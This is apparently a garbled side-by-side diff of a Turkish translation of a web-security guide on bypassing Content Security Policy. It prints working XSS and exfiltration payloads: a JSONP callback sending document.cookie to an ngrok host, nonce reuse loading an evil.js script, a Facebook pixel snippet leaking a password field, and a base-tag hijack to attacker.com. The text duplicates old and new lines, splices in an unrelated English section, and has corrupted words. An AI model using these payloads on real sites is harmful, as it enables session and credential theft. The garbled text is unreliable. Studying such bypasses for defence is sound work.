* **connect-src**: fetch, WebSocket, XMLHttpRequest gibi arabirimler kullanılarak yüklenebilecek URL'leri kısıtlar. * **connect-src**: fetch, WebSocket, XMLHttpRequest gibi arabirimler kullanılarak yüklenebilecek URL'leri kısıtlar.
* **frame-src**: Çerçeveler için URL'leri kısıtlar. * **frame-src**: Çerçeveler için URL'leri kısıtlar.
* **frame-ancestors**: Geçerli sayfayı gömebilecek kaynakları belirtir, `<frame>`, `<iframe>`, `<object>`, `<embed>` ve `<applet>` gibi öğelere uygulanır. * **frame-ancestors**: Geçerli sayfayı gömebilecek kaynakları belirtir, `<frame>`, `<iframe>`, `<object>`, `<embed>` ve `<applet>` gibi öğeler için geçerlidir.
* **img-src**: Görüntüler için izin verilen kaynakları tanımlar. * **img-src**: Görüntüler için izin verilen kaynakları tanımlar.
* **font-src**: `@font-face` ile yüklenen yazı tipleri için geçerli kaynakları belirtir. * **font-src**: `@font-face` kullanılarak yüklenen yazı tipleri için geçerli kaynakları belirtir.
* **manifest-src**: Uygulama manifest dosyalarının izin verilen kaynaklarını tanımlar. * **manifest-src**: Uygulama manifest dosyalarının izin verilen kaynaklarını tanımlar.
* **media-src**: Medya nesnelerini yüklemek için izin verilen kaynakları tanımlar. * **media-src**: Medya nesnelerini yüklemek için izin verilen kaynakları tanımlar.
* **object-src**: `<object>`, `<embed>` ve `<applet>` öğeleri için izin verilen kaynakları tanımlar. * **object-src**: `<object>`, `<embed>` ve `<applet>` öğeleri için izin verilen kaynakları tanımlar.
@ -82,22 +82,26 @@ object-src 'none';
* **plugin-types**: Bir sayfanın çağırabileceği mime türlerini kısıtlar. * **plugin-types**: Bir sayfanın çağırabileceği mime türlerini kısıtlar.
* **upgrade-insecure-requests**: Tarayıcılara HTTP URL'leri HTTPS'ye yeniden yazmalarını söyler. * **upgrade-insecure-requests**: Tarayıcılara HTTP URL'leri HTTPS'ye yeniden yazmalarını söyler.
* **sandbox**: Bir `<iframe>`'in sandbox özniteliği gibi kısıtlamalar uygular. * **sandbox**: Bir `<iframe>`'in sandbox özniteliği gibi kısıtlamalar uygular.
* **report-to**: Politika ihlal edildiğinde raporun gönderileceği bir grup belirtir. * **report-to**: Politika ihlal edildiğinde bir raporun gönderileceği bir grup belirtir.
* **worker-src**: Worker, SharedWorker veya ServiceWorker betikleri için geçerli kaynakları belirtir. * **worker-src**: Worker, SharedWorker veya ServiceWorker betikleri için geçerli kaynakları belirtir.
* **prefetch-src**: Getirilecek veya önceden getirilecek kaynaklar için geçerli kaynakları belirtir. * **prefetch-src**: Getirilecek veya önceden getirilecek kaynaklar için geçerli kaynakları belirtir.
* **navigate-to**: Belge herhangi bir şekilde (a, form, window.location, window.open, vb.) hangi URL'lere gidebileceğini kısıtlar. * **navigate-to**: Bir belgenin herhangi bir şekilde (a, form, window.location, window.open, vb.) yönlendirebileceği URL'leri kısıtlar.
### Kaynaklar ### Kaynaklar
* `*`: `data:`, `blob:`, `filesystem:` şemalarına sahip olmayan tüm URL'lere izin verir. * `*`: `data:`, `blob:`, `filesystem:` şemalarına sahip olmayan tüm URL'lere izin verir.
* `'self'`: Aynı etki alanından yükleme yapılmasına izin verir. * `'self'`: Aynı etki alanından yükleme yapılmasına izin verir.
* `'data'`: Verilerin veri şeması aracılığıyla yüklenmesine izin verir (örneğin, Base64 kodlu görüntüler). * `'data'`: Veri şeması aracılığıyla kaynakların yüklenmesine izin verir (ör. Base64 kodlu görüntüler).
* `'none'`: Herhangi bir kaynaktan yükleme yapmayı engeller. * `'none'`: Herhangi bir kaynaktan yükleme yapmayı engeller.
* `'unsafe-eval'`: `eval()` ve benzeri yöntemlerin kullanımına izin verir, güvenlik nedeniyle önerilmez. * `'unsafe-eval'`: `eval()` ve benzeri yöntemlerin kullanımına izin verir, güvenlik nedenleriyle önerilmez.
* `'unsafe-hashes'`: Belirli iç içe olay işleyicilerini etkinleştirir. * `'unsafe-hashes'`: Belirli iç içe olay işleyicilerini etkinleştirir.
* `'unsafe-inline'`: İç içe `<script>` veya `<style>` gibi kaynakların kullanımına izin verir, güvenlik nedeniyle önerilmez. * `'unsafe-inline'`: İç içe `<script>` veya `<style>` gibi kaynakların kullanımına izin verir, güvenlik nedenleriyle önerilmez.
* `'nonce'`: Kriptografik bir nonce (bir kez kullanılan sayı) kullanarak belirli iç içe betikler için bir beyaz liste oluşturur. * `'nonce'`: Kriptografik bir nonce (bir kez kullanılan sayı) kullanarak belirli iç içe betikler için bir beyaz liste oluşturur.
* Eğer JS sınırlı yürütme varsa, sayfa içinde kullanılan bir nonce almak mümkündür `doc.defaultView.top.document.querySelector("[nonce]")` ve ardından kötü amaçlı bir betik yüklemek için bunu yeniden kullanmak (strict-dynamic kullanılıyorsa, herhangi bir izin verilen kaynak yeni kaynaklar yükleyebilir, bu nedenle bu gerekli değildir), örneğin: * Eğer JS sınırlı yürütme varsa, sayfa içinde kullanılan bir nonce'yi `doc.defaultView.top.document.querySelector("[nonce]")` ile almak ve ardından kötü amaçlı bir betik yüklemek için yeniden kullanmak mümkündür (strict-dynamic kullanılıyorsa, herhangi bir izin verilen kaynak yeni kaynaklar yükleyebilir, bu nedenle bu gerekli değildir), örneğin:
<details>
<summary>Nonce'yi yeniden kullanarak betik yükle</summary>
```html ```html
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ --> <!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img src=x ng-on-error=' <img src=x ng-on-error='
@ -110,13 +114,13 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
</details> </details>
* `'sha256-<hash>'`: Belirli bir sha256 karma değerine sahip betikleri beyaz listeye alır. * `'sha256-<hash>'`: Belirli bir sha256 karma değerine sahip betikleri beyaz listeye alır.
* `'strict-dynamic'`: Bir nonce veya karma tarafından beyaz listeye alındıysa, herhangi bir kaynaktan betik yüklenmesine izin verir. * `'strict-dynamic'`: Bir nonce veya karma ile beyaz listeye alınmışsa, herhangi bir kaynaktan betik yüklenmesine izin verir.
* `'host'`: `example.com` gibi belirli bir ana bilgisayar belirtir. * `'host'`: `example.com` gibi belirli bir ana bilgisayar belirtir.
* `https:`: URL'leri yalnızca HTTPS kullananlara kısıtlar. * `https:`: URL'leri yalnızca HTTPS kullananlara kısıtlar.
* `blob:`: Kaynakların Blob URL'lerinden (örneğin, JavaScript aracılığıyla oluşturulan Blob URL'lerinden) yüklenmesine izin verir. * `blob:`: Kaynakların Blob URL'lerinden (örneğin, JavaScript aracılığıyla oluşturulan Blob URL'lerinden) yüklenmesine izin verir.
* `filesystem:`: Kaynakların dosya sisteminden yüklenmesine izin verir. * `filesystem:`: Kaynakların dosya sisteminden yüklenmesine izin verir.
* `'report-sample'`: İhlal raporunda ihlal eden kodun bir örneğini içerir (hata ayıklama için faydalıdır). * `'report-sample'`: İhlal raporunda ihlal eden kodun bir örneğini içerir (hata ayıklama için faydalıdır).
* `'strict-origin'`: 'self' ile benzerdir ancak kaynakların protokol güvenlik düzeyinin belgenin eşleştiğinden emin olur (yalnızca güvenli kökenler güvenli kökenlerden kaynakları yükleyebilir). * `'strict-origin'`: 'self' ile benzerdir ancak kaynakların protokol güvenlik düzeyinin belgenin eşleştiğinden emin olur (yalnızca güvenli kökenler, güvenli kökenlerden kaynakları yükleyebilir).
* `'strict-origin-when-cross-origin'`: Aynı köken istekleri yaparken tam URL'leri gönderir, ancak istek çapraz köken olduğunda yalnızca kökeni gönderir. * `'strict-origin-when-cross-origin'`: Aynı köken istekleri yaparken tam URL'leri gönderir, ancak istek çapraz köken olduğunda yalnızca kökeni gönderir.
* `'unsafe-allow-redirects'`: Hemen başka bir kaynağa yönlendirecek kaynakların yüklenmesine izin verir. Güvenliği zayıflatması nedeniyle önerilmez. * `'unsafe-allow-redirects'`: Hemen başka bir kaynağa yönlendirecek kaynakların yüklenmesine izin verir. Güvenliği zayıflatması nedeniyle önerilmez.
@ -128,7 +132,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-inline';
``` ```
Çalışan yük: `"/><script>alert(1);</script>` Çalışan yük: `"/><script>alert(1);</script>`
#### self + 'unsafe-inline' Iframe'lar aracılığıyla #### self + 'unsafe-inline' Iframe'ler aracılığıyla
{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} {% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %}
[csp-bypass-self-+-unsafe-inline-with-iframes.md](csp-bypass-self-+-unsafe-inline-with-iframes.md) [csp-bypass-self-+-unsafe-inline-with-iframes.md](csp-bypass-self-+-unsafe-inline-with-iframes.md)
@ -181,14 +185,18 @@ Eğer bir JS dosyası yükleyebilirseniz, bu CSP'yi atlayabilirsiniz:
``` ```
Ancak, sunucunun **yüklenen dosyayı doğruladığı ve yalnızca belirli türde dosyaların yüklenmesine izin verdiği** oldukça olasıdır. Ancak, sunucunun **yüklenen dosyayı doğruladığı ve yalnızca belirli türde dosyaların yüklenmesine izin verdiği** oldukça olasıdır.
Dahası, sunucu tarafından kabul edilen bir uzantı kullanarak bir dosyanın içine **JS kodu yükleyebilirseniz** bile (örneğin: _script.png_), bu yeterli olmayacaktır çünkü bazı sunucular gibi apache sunucusu **dosyanın MIME türünü uzantıya göre seçer** ve Chrome gibi tarayıcılar, bir resim olması gereken bir şeyin içindeki Javascript kodunu **çalıştırmayı reddedecektir**. "Neyse ki", hatalar var. Örneğin, bir CTF'den öğrendiğim gibi **Apache'nin** _**.wave**_ uzantısını tanımadığını, bu nedenle bir **ses/\*** MIME türüyle sunmadığını biliyorum. Dahası, sunucu tarafından kabul edilen bir uzantı kullanarak bir dosyanın içine **JS kodu yükleseniz bile (örneğin: _script.png_)** bu yeterli olmayabilir çünkü bazı sunucular, örneğin apache sunucusu, dosyanın MIME türünü uzantıya göre seçer ve Chrome gibi tarayıcılar, bir resim olması gereken bir şeyin içindeki Javascript kodunu **çalıştırmayı reddeder**. "Neyse ki", hatalar var. Örneğin, bir CTF'den öğrendiğim kadarıyla **Apache'nin** _**.wave**_ uzantısını tanımadığını, bu nedenle bir **ses/\*** MIME türüyle sunmadığını biliyorum.
Buradan, bir XSS ve bir dosya yükleme bulursanız ve **yanlış yorumlanan bir uzantı** bulmayı başarırsanız, o uzantıya sahip bir dosyayı ve betiğin İçeriğini yüklemeyi deneyebilirsiniz. Veya, sunucu yüklenen dosyanın doğru biçimini kontrol ediyorsa, bir **çokdilli** oluşturabilirsiniz ([burada bazı çokdilli örnekler var](https://github.com/Polydet/polyglot-database)). Buradan, bir XSS ve dosya yükleme bulursanız ve **yanlış yorumlanan bir uzantı** bulmayı başarırsanız, o uzantıya sahip bir dosyayı ve betiğin İçeriğini yüklemeyi deneyebilirsiniz. Veya, sunucu yüklenen dosyanın doğru biçimini kontrol ediyorsa, bir **çokdilli** oluşturabilirsiniz ([burada bazı çokdilli örnekler](https://github.com/Polydet/polyglot-database)).
### Form-action
JS enjekte etmek mümkün değilse, örneğin kimlik bilgilerini **form eylemi enjekte ederek** dışarı sızarmayı deneyebilirsiniz (ve belki de şifre yöneticilerinin otomatik olarak şifreleri doldurmasını bekleyebilirsiniz). Bir [**örneği bu raporda bulabilirsiniz**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Ayrıca, `default-src`'nin form eylemlerini kapsamadığını unutmayın.
### Üçüncü Taraf Uç Noktaları + ('unsafe-eval') ### Üçüncü Taraf Uç Noktaları + ('unsafe-eval')
{% hint style="warning" %} {% hint style="warning" %}
Aşağıdaki payloadların **bazıları için bile `unsafe-eval` gerekli değildir**. Aşağıdaki bazı payloadlar için **`unsafe-eval` bile gerekli değil**.
{% endhint %} {% endhint %}
```yaml ```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval'; Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
@ -217,7 +225,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
#### Angular + `window` nesnesini döndüren fonksiyonlara sahip bir kütüphane kullanarak yüklemeler ([bu yazıya bakın](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)): #### Angular + `window` nesnesini döndüren fonksiyonlara sahip bir kütüphane kullanarak yüklemeler ([bu yazıya bakın](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
{% hint style="info" %} {% hint style="info" %}
Yazı, `cdn.cloudflare.com` (veya izin verilen başka JS kütüphaneleri deposu) üzerinden **tüm kütüphaneleri yükleyebileceğinizi**, her kütüphaneden eklenen tüm fonksiyonları çalıştırabileceğinizi ve **hangi fonksiyonların hangi kütüphanelerden `window` nesnesini döndürdüğünü** kontrol edebileceğinizi göstermektedir. Yazı, `cdn.cloudflare.com` (veya izin verilen başka JS kütüphaneleri deposu) üzerinden **tüm kütüphaneleri yükleyebileceğinizi**, her kütüphaneden eklenen tüm fonksiyonları çalıştırabileceğinizi ve **hangi kütüphanelerden hangi fonksiyonların `window` nesnesini döndürdüğünü kontrol edebileceğinizi** göstermektedir.
{% endhint %} {% endhint %}
```markup ```markup
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
@ -243,12 +251,6 @@ Yazı, `cdn.cloudflare.com` (veya izin verilen başka JS kütüphaneleri deposu)
</div> </div>
``` ```
## Bir sınıf adından Angular XSS: ## Bir sınıf adından Angular XSS:
---
## Angular XSS from a class name:
---
```html ```html
<div ng-app> <div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong> <strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
@ -256,7 +258,7 @@ Yazı, `cdn.cloudflare.com` (veya izin verilen başka JS kütüphaneleri deposu)
``` ```
#### Google recaptcha JS kodunu suiistimal etmek #### Google recaptcha JS kodunu suiistimal etmek
[**Bu CTF çözümüne göre**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves) bir CSP içinde [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) adresini suiistimal ederek CSP'yi atlayarak keyfi JS kodunu çalıştırabilirsiniz: [**Bu CTF çözümüne göre**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves), bir CSP içinde [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) adresini suiistimal ederek CSP'yi atlayarak keyfi JS kodunu yürütebilirsiniz:
```html ```html
<div <div
ng-controller="CarouselController as c" ng-controller="CarouselController as c"
@ -282,11 +284,21 @@ b=doc.createElement("script");
b.src="//example.com/evil.js"; b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'> b.nonce=a.nonce; doc.body.appendChild(b)'>
``` ```
#### www.google.com'un açık yönlendirmesi için kötüye kullanım
Aşağıdaki URL, example.com'a yönlendirme yapar ([buradan](https://www.landh.tech/blog/20240304-google-hack-50000/) alındı):
```
https://www.google.com/amp/s/example.com/
```
### Üçüncü Taraf Uç Noktaları + JSONP ### Üçüncü Taraf Uç Noktaları + JSONP
\*.google.com/script.google.com'ı Kötüye Kullanma
Google Apps Script kötüye kullanılarak script.google.com içinde bir sayfada bilgi almak mümkündür. Bu [bu raporda](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/) olduğu gibi yapılabilir.
```http ```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none'; Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
``` ```
Belirli alan adlarına izin verilen senaryolarda `script-src` `self` ve belirli bir alan adına ayarlandığında JSONP kullanılarak atlatılabilir. JSONP uç noktaları güvensiz geri çağırma yöntemlerine izin verir, bu da saldırganın XSS gerçekleştirmesine olanak tanır, çalışan yük: Belirli alan adı beyaz listesine alınmış olan senaryolarda `script-src` `self` ve belirli bir alan adı olarak ayarlandığında JSONP kullanılarak atlatılabilir. JSONP uç noktaları güvensiz geri çağırma yöntemlerine izin verir, bu da bir saldırganın XSS gerçekleştirmesine olanak tanır, çalışan yük:
```markup ```markup
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script> "><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script> "><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
@ -298,60 +310,47 @@ https://www.youtube.com/oembed?callback=alert;
``` ```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **farklı web sitelerinin CSP atlatmasına hazır JSONP uç noktaları içerir.** [**JSONBee**](https://github.com/zigoo0/JSONBee) **farklı web sitelerinin CSP atlatmasına hazır JSONP uç noktaları içerir.**
Aynı zafiyet, **güvenilir uç nokta bir Açık Yönlendirme içeriyorsa** meydana gelecektir çünkü başlangıç uç noktası güvenilirse, yönlendirmeler güvenilir olacaktır. Aynı zafiyet, **güvenilen uç nokta bir Açık Yönlendirme içeriyorsa** meydana gelecektir çünkü başlangıç uç noktası güvenilirse, yönlendirmeler güvenilir olacaktır.
### Üçüncü Taraf Kötüye Kullanımları ### Üçüncü Taraf Kötüye Kullanımları
[şu yazıda](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses) açıklandığı gibi, CSP'de bir yerlerde izin verilmiş birçok üçüncü taraf alanı, ya veri sızdırmak ya da JavaScript kodu yürütmek için kötüye kullanılabilir. Bu üçüncü taraflardan bazıları şunlardır: [şu yazıda](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses) açıklandığı gibi, CSP'de bir yerlerde izin verilmiş olan birçok üçüncü taraf alanı, ya veri sızdırmak ya da JavaScript kodu yürütmek için kötüye kullanılabilir. Bu üçüncü taraflardan bazıları şunlardır:
| Kuruluş | İzin Verilen Alanlar | Yetenekler | | Kuruluş | İzin Verilen Alanlar | Yetenekler |
| ----------------- | -------------------------------------------- | ------------ | | ----------------- | -------------------------------------------- | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Sızdırma | | Facebook | www.facebook.com, \*.facebook.com | Veri Sızdırma|
| Hotjar | \*.hotjar.com, ask.hotjar.io | Sızdırma | | Hotjar | \*.hotjar.com, ask.hotjar.io | Veri Sızdırma|
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Yürütme | | Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Yürütme |
| Amazon CloudFront | \*.cloudfront.net | Sızdırma, Yürütme | | Amazon CloudFront | \*.cloudfront.net | Veri Sızdırma, Yürütme |
| Amazon AWS | \*.amazonaws.com | Sızdırma, Yürütme | | Amazon AWS | \*.amazonaws.com | Veri Sızdırma, Yürütme |
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Sızdırma, Yürütme | | Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Veri Sızdırma, Yürütme |
| Salesforce Heroku | \*.herokuapp.com | Sızdırma, Yürütme | | Salesforce Heroku | \*.herokuapp.com | Veri Sızdırma, Yürütme |
| Google Firebase | \*.firebaseapp.com | Sızdırma, Yürütme | | Google Firebase | \*.firebaseapp.com | Veri Sızdırma, Yürütme |
Hedefinizin CSP'sinde izin verilen alanlardan herhangi birini bulursanız, büyük ihtimalle üçüncü taraf hizmetine kaydolarak CSP'yi atlayabilir ve ya veriyi o hizmete sızdırabilir ya da kodu yürütebilirsiniz. Hedefinizin CSP'sinde izin verilen alanlardan herhangi birini bulursanız, büyük ihtimalle CSP'yi atlatmayı, üçüncü taraf hizmetine kaydolmayı ve ya veriyi o hizmete sızdırmayı ya da kodu yürütmeyi başarabilirsiniz.
Örneğin, aşağıdaki CSP'yi bulursanız: Örneğin, aşağıdaki CSP'yi bulursanız:
``` ```
Content-Security-Policy: default-src 'self www.facebook.com; Content-Security-Policy: default-src 'self www.facebook.com;
``` ```
# Content Security Policy (CSP) Bypass # CSP Bypass Techniques
## Introduction Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. However, there are ways to bypass CSP protections and execute malicious code on a target website.
Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. However, misconfigurations or bypasses in CSP can lead to security vulnerabilities. In this section, we will explore various techniques to bypass CSP and achieve successful exploitation.
## Bypass Techniques ## Table of Contents
### 1. Inline Script Execution - [Introduction to CSP Bypass](01-intro.md)
- [Bypassing CSP with Inline Scripts](02-inline-scripts.md)
- [Bypassing CSP with External Scripts](03-external-scripts.md)
- [Bypassing CSP with Inline Styles](04-inline-styles.md)
- [Bypassing CSP with External Styles](05-external-styles.md)
- [Bypassing CSP with Nonces](06-nonces.md)
- [Bypassing CSP with Hashes](07-hashes.md)
- [Bypassing CSP with Trusted Types](08-trusted-types.md)
When CSP allows `'unsafe-inline'` for scripts, attackers can execute arbitrary code by injecting inline scripts into the HTML document. Each technique will cover the concept, implementation, and examples to help you understand how to bypass CSP effectively.
### 2. External Script Execution
If CSP allows loading scripts from specific domains (`'script-src'`), attackers can host malicious scripts on those domains to execute arbitrary code.
### 3. Script Nonce Bypass
By bypassing the script nonce, attackers can execute unauthorized scripts on the web page.
### 4. Script Hash Bypass
Attackers can bypass script hashes specified in CSP to execute unauthorized scripts.
### 5. Data Injection
Attackers can bypass CSP by injecting data into the web page, leading to security vulnerabilities.
## Conclusion
Understanding and testing for CSP bypasses is crucial for ensuring the security of web applications. By identifying and mitigating these bypass techniques, security professionals can enhance the overall security posture of their applications.
``` ```
Content-Security-Policy: connect-src www.facebook.com; Content-Security-Policy: connect-src www.facebook.com;
``` ```
@ -359,21 +358,21 @@ Content-Security-Policy: connect-src www.facebook.com;
2. Yeni bir "Facebook Giriş" uygulaması oluşturun ve "Website" seçeneğini seçin. 2. Yeni bir "Facebook Giriş" uygulaması oluşturun ve "Website" seçeneğini seçin.
3. "Ayarlar -> Temel"e gidin ve "Uygulama Kimliği"nizi alın. 3. "Ayarlar -> Temel"e gidin ve "Uygulama Kimliği"nizi alın.
4. Veri sızdırmak istediğiniz hedef sitede, Facebook SDK cihazı "fbq" ve "customEvent" ile veri yükünü doğrudan kullanarak veri sızdırabilirsiniz. 4. Veri sızdırmak istediğiniz hedef sitede, Facebook SDK cihazı "fbq" ve "customEvent" ile veri yükünü doğrudan kullanarak veri sızdırabilirsiniz.
5. Uygulama "Etkinlik Yöneticisi"ne gidin ve oluşturduğunuz uygulamayı seçin (etkinlik yöneticisinin URL'si şuna benzer bir yerde bulunabilir: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events) 5. Uygulama "Etkinlik Yöneticisi"ne gidin ve oluşturduğunuz uygulamayı seçin (etkinlik yöneticisinin URL'si şuna benzer bir URL'de bulunabilir: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events)
6. "Test Etkinlikleri" sekmesini seçerek "sizin" web siteniz tarafından gönderilen etkinlikleri görebilirsiniz. 6. "Test Etkinlikleri" sekmesini seçerek "sizin" web siteniz tarafından gönderilen etkinlikleri görebilirsiniz.
Ardından, kurban tarafında, aşağıdaki kodu çalıştırarak Facebook takip pikselini başlatın ve saldırganın Facebook geliştirici hesabı uygulama kimliğine işaret eden özel bir etkinlik oluşturun: Sonra, kurban tarafında, aşağıdaki kodu çalıştırarak Facebook takip pikselini başlatın ve saldırganın Facebook geliştirici hesabı uygulama kimliğine işaret eden özel bir etkinlik oluşturun:
```JavaScript ```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{ fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'" data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
}); });
``` ```
### Önceki tabloda belirtilen diğer yedi üçüncü taraf alan adı için, bunları kötüye kullanabileceğiniz birçok başka yol vardır. Diğer üçüncü taraf kötüye kullanımları hakkında ek açıklamalar için önceki [blog gönderisine](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) başvurun. ### Önceki tabloda belirtilen diğer yedi üçüncü taraf alanı için, bunları kötüye kullanabileceğiniz birçok başka yol vardır. Diğer üçüncü taraf kötüye kullanımları hakkında ek açıklamalar için önceki [blog yazısına](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) başvurun.
### RPO (Relative Path Overwrite) Aracılığıyla Atlatma <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a> ### RPO (Relative Path Overwrite) Aracılığıyla Atlatma <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
Yukarıda belirtilen yönlendirme ile geçiş yolu kısıtlamalarını atlatmanın yanı sıra, bazı sunucularda kullanılabilecek Relative Path Overwrite (RPO) adlı başka bir teknik bulunmaktadır. Yukarıda belirtilen yönlendirmeye ek olarak, bazı sunucularda kullanılabilen Relative Path Overwrite (RPO) adlı başka bir teknik bulunmaktadır.
Örneğin, CSP'nin `https://example.com/scripts/react/` yoluna izin verdiği durumda, aşağıdaki gibi atlatılabilir: Örneğin, CSP'nin `https://example.com/scripts/react/` yoluna izin verdiği durumda, aşağıdaki gibi atlatılabilir:
```html ```html
@ -383,11 +382,11 @@ Tarayıcı sonunda `https://example.com/scripts/angular/angular.js` adresini yü
Bu, tarayıcı için, `https://example.com/scripts/react/` altında bulunan `..%2fangular%2fangular.js` adlı bir dosya yüklüyormuş gibi göründüğü için çalışır, bu da CSP'ye uygundur. Bu, tarayıcı için, `https://example.com/scripts/react/` altında bulunan `..%2fangular%2fangular.js` adlı bir dosya yüklüyormuş gibi göründüğü için çalışır, bu da CSP'ye uygundur.
∑, bunu çözecek ve etkili bir şekilde `https://example.com/scripts/react/../angular/angular.js` adresini isteyecektir, bu da `https://example.com/scripts/angular/angular.js` ile eşdeğerdir. Sonuç olarak, bunu çözecek ve `https://example.com/scripts/react/../angular/angular.js` adresini etkili bir şekilde isteyecek ve bu da `https://example.com/scripts/angular/angular.js` ile eşdeğerdir.
Tarayıcı ve sunucu arasındaki URL yorumlama tutarsızlığını **sömürerek, yol kuralları atlatılabilir**. Tarayıcı ve sunucu arasındaki URL yorumlama tutarsızlığını **sömürerek yol kuralları atlatılabilir**.
Çözüm, `%2f`'yi sunucu tarafında `/` olarak işlememektir, böylece tarayıcı ve sunucu arasında tutarlı yorumlama sağlanarak bu sorundan kaçınılır. Çözüm, sunucu tarafında `%2f`'yi `/` olarak işlememektir, böylece tarayıcı ve sunucu arasında tutarlı yorumlama sağlanır ve bu sorundan kaçınılır.
Çevrimiçi Örnek: [https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output) Çevrimiçi Örnek: [https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
@ -401,7 +400,7 @@ Tarayıcı ve sunucu arasındaki URL yorumlama tutarsızlığını **sömürerek
Eğer **base-uri** yönergesi eksikse, [**dangling markup injection**](../dangling-markup-html-scriptless-injection/) gerçekleştirmek için bunu kötüye kullanabilirsiniz. Eğer **base-uri** yönergesi eksikse, [**dangling markup injection**](../dangling-markup-html-scriptless-injection/) gerçekleştirmek için bunu kötüye kullanabilirsiniz.
Ayrıca, **sayfa bir Nonce kullanarak bir göreli yol** (örneğin `<script src="/js/app.js">`) kullanarak bir betik yüklüyorsa, **base** **etiketini kötüye kullanarak** bu betiği **kendi sunucunuzdan yüklemesini sağlayabilir ve XSS saldırısı gerçekleştirebilirsiniz.**\ Ayrıca, **sayfa bir Nonce kullanarak bir göreli yol** (örneğin `<script src="/js/app.js">`) kullanarak bir betik yüklüyorsa, **base** **etiketini kötüye kullanarak** **kendi sunucunuzdan betiği yüklemesini sağlayabilir ve XSS saldırısı gerçekleştirebilirsiniz.**\
Eğer zafiyetli sayfa **httpS** ile yükleniyorsa, base'de bir httpS URL kullanın. Eğer zafiyetli sayfa **httpS** ile yükleniyorsa, base'de bir httpS URL kullanın.
```html ```html
<base href="https://www.attacker.com/"> <base href="https://www.attacker.com/">
@ -410,20 +409,20 @@ Eğer zafiyetli sayfa **httpS** ile yükleniyorsa, base'de bir httpS URL kullan
